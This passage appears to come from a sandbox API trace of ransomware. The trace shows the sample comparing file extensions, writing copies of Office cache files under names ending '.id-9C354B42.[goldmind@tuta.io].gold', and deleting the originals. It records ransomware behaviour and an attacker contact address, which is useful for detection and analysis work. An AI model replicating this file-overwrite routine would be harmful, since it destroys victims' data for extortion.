(lpString1=".xls", lpString2=".msi") returned 1 [0044.018] lstrlenW (lpString=".xlsx") returned 5 [0044.018] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0044.018] lstrlenW (lpString=".ppt") returned 4 [0044.018] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.018] lstrlenW (lpString=".zip") returned 4 [0044.018] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.018] lstrlenW (lpString=".rar") returned 4 [0044.018] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.018] lstrlenW (lpString=".bz2") returned 4 [0044.018] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.018] lstrlenW (lpString=".7z") returned 3 [0044.018] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.018] lstrlenW (lpString=".dbf") returned 4 [0044.018] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.018] lstrlenW (lpString=".1cd") returned 4 [0044.018] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0044.018] lstrlenW (lpString=".jpg") returned 4 [0044.018] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.018] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0044.018] lstrlenW (lpString="setup.exe") returned 9 [0044.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.318] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1377656) returned 1 [0044.318] CloseHandle (hObject=0x210) returned 1 [0044.318] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0044.318] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.319] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.319] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.319] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.319] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.319] GetLastError () returned 0x0 [0044.319] ReadFile (in: hFile=0x210, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0044.342] WriteFile (in: hFile=0x208, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0044.356] ReadFile (in: hFile=0x210, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x50588, lpOverlapped=0x0) returned 1 [0044.366] WriteFile (in: hFile=0x208, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0044.372] ReadFile (in: hFile=0x210, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.372] WriteFile (in: hFile=0x208, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.372] SetEndOfFile (hFile=0x208) returned 1 [0044.373] CloseHandle (hObject=0x208) returned 1 [0044.373] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.373] SetEndOfFile (hFile=0x210) returned 1 [0044.375] CloseHandle (hObject=0x210) returned 1 [0044.375] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.375] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.376] lstrlenW (lpString=".doc") returned 4 [0044.376] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0044.376] lstrlenW (lpString=".docx") returned 5 [0044.376] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0044.376] lstrlenW (lpString=".pdf") returned 4 [0044.376] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0044.376] lstrlenW (lpString=".xls") returned 4 [0044.376] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0044.376] lstrlenW (lpString=".xlsx") returned 5 [0044.376] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0044.376] lstrlenW (lpString=".ppt") returned 4 [0044.376] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.376] lstrlenW (lpString=".zip") returned 4 [0044.376] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0044.376] lstrlenW (lpString=".rar") returned 4 [0044.376] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0044.376] lstrlenW (lpString=".bz2") returned 4 [0044.376] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0044.376] lstrlenW (lpString=".7z") returned 3 [0044.376] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.376] lstrlenW (lpString=".dbf") returned 4 [0044.376] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.376] lstrlenW (lpString=".1cd") returned 4 [0044.376] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.376] lstrlenW (lpString=".jpg") returned 4 [0044.376] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.376] lstrlenW (lpString=".doc") returned 4 [0044.376] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0044.377] lstrlenW (lpString=".docx") returned 5 [0044.377] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0044.377] lstrlenW (lpString=".pdf") returned 4 [0044.377] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0044.377] lstrlenW (lpString=".xls") returned 4 [0044.377] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0044.377] lstrlenW (lpString=".xlsx") returned 5 [0044.377] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0044.377] lstrlenW (lpString=".ppt") returned 4 [0044.377] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0044.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.377] lstrlenW (lpString=".zip") returned 4 [0044.377] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0044.377] lstrlenW (lpString=".rar") returned 4 [0044.377] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0044.377] lstrlenW (lpString=".bz2") returned 4 [0044.377] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0044.377] lstrlenW (lpString=".7z") returned 3 [0044.377] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0044.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.377] lstrlenW (lpString=".dbf") returned 4 [0044.377] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0044.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.377] lstrlenW (lpString=".1cd") returned 4 [0044.377] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0044.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0044.377] lstrlenW (lpString=".jpg") returned 4 [0044.377] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0044.377] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0044.377] lstrlenW (lpString="ose.exe") returned 7 [0044.377] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.543] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=174440) returned 1 [0044.543] CloseHandle (hObject=0x200) returned 1 [0044.543] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0044.543] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.543] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.547] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.547] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.547] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.547] GetLastError () returned 0x0 [0044.547] ReadFile (in: hFile=0x200, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0044.580] WriteFile (in: hFile=0x188, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0044.582] ReadFile (in: hFile=0x200, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.582] WriteFile (in: hFile=0x188, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0044.582] SetEndOfFile (hFile=0x188) returned 1 [0044.583] CloseHandle (hObject=0x188) returned 1 [0044.583] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.583] SetEndOfFile (hFile=0x200) returned 1 [0044.584] CloseHandle (hObject=0x200) returned 1 [0044.584] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.584] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.585] lstrlenW (lpString=".doc") returned 4 [0044.585] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0044.585] lstrlenW (lpString=".docx") returned 5 [0044.585] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0044.585] lstrlenW (lpString=".pdf") returned 4 [0044.585] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString=".xls") returned 4 [0044.585] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString=".xlsx") returned 5 [0044.585] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0044.585] lstrlenW (lpString=".ppt") returned 4 [0044.585] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.585] lstrlenW (lpString=".zip") returned 4 [0044.585] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString=".rar") returned 4 [0044.585] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString=".bz2") returned 4 [0044.585] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0044.585] lstrlenW (lpString=".7z") returned 3 [0044.585] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.585] lstrlenW (lpString=".dbf") returned 4 [0044.585] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.585] lstrlenW (lpString=".1cd") returned 4 [0044.585] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.585] lstrlenW (lpString=".jpg") returned 4 [0044.585] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.585] lstrlenW (lpString=".doc") returned 4 [0044.585] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0044.585] lstrlenW (lpString=".docx") returned 5 [0044.585] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0044.585] lstrlenW (lpString=".pdf") returned 4 [0044.585] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString=".xls") returned 4 [0044.585] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString=".xlsx") returned 5 [0044.585] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0044.585] lstrlenW (lpString=".ppt") returned 4 [0044.585] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.585] lstrlenW (lpString=".zip") returned 4 [0044.585] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0044.585] lstrlenW (lpString=".rar") returned 4 [0044.585] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0044.586] lstrlenW (lpString=".bz2") returned 4 [0044.586] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0044.586] lstrlenW (lpString=".7z") returned 3 [0044.586] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0044.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.586] lstrlenW (lpString=".dbf") returned 4 [0044.586] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0044.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.586] lstrlenW (lpString=".1cd") returned 4 [0044.586] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0044.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0044.586] lstrlenW (lpString=".jpg") returned 4 [0044.586] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0044.586] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0044.586] lstrlenW (lpString="PidGenX.dll") returned 11 [0044.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.586] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1463568) returned 1 [0044.586] CloseHandle (hObject=0x200) returned 1 [0044.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0044.586] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.586] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.586] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.587] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.587] GetLastError () returned 0x0 [0044.587] ReadFile (in: hFile=0x200, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0044.609] WriteFile (in: hFile=0x188, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0044.707] ReadFile (in: hFile=0x200, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x65520, lpOverlapped=0x0) returned 1 [0044.718] WriteFile (in: hFile=0x188, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0044.725] ReadFile (in: hFile=0x200, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.725] WriteFile (in: hFile=0x188, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.725] SetEndOfFile (hFile=0x188) returned 1 [0044.725] CloseHandle (hObject=0x188) returned 1 [0044.726] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.726] SetEndOfFile (hFile=0x200) returned 1 [0044.728] CloseHandle (hObject=0x200) returned 1 [0044.728] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.728] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0044.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.729] lstrlenW (lpString=".doc") returned 4 [0044.729] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.729] lstrlenW (lpString=".docx") returned 5 [0044.729] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0044.729] lstrlenW (lpString=".pdf") returned 4 [0044.729] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.729] lstrlenW (lpString=".xls") returned 4 [0044.729] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.729] lstrlenW (lpString=".xlsx") returned 5 [0044.729] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0044.729] lstrlenW (lpString=".ppt") returned 4 [0044.729] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.729] lstrlenW (lpString=".zip") returned 4 [0044.729] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.729] lstrlenW (lpString=".rar") returned 4 [0044.729] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.729] lstrlenW (lpString=".bz2") returned 4 [0044.729] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.729] lstrlenW (lpString=".7z") returned 3 [0044.729] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.729] lstrlenW (lpString=".dbf") returned 4 [0044.729] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0044.729] lstrlenW (lpString=".1cd") returned 4 [0044.729] lstrcmpiW 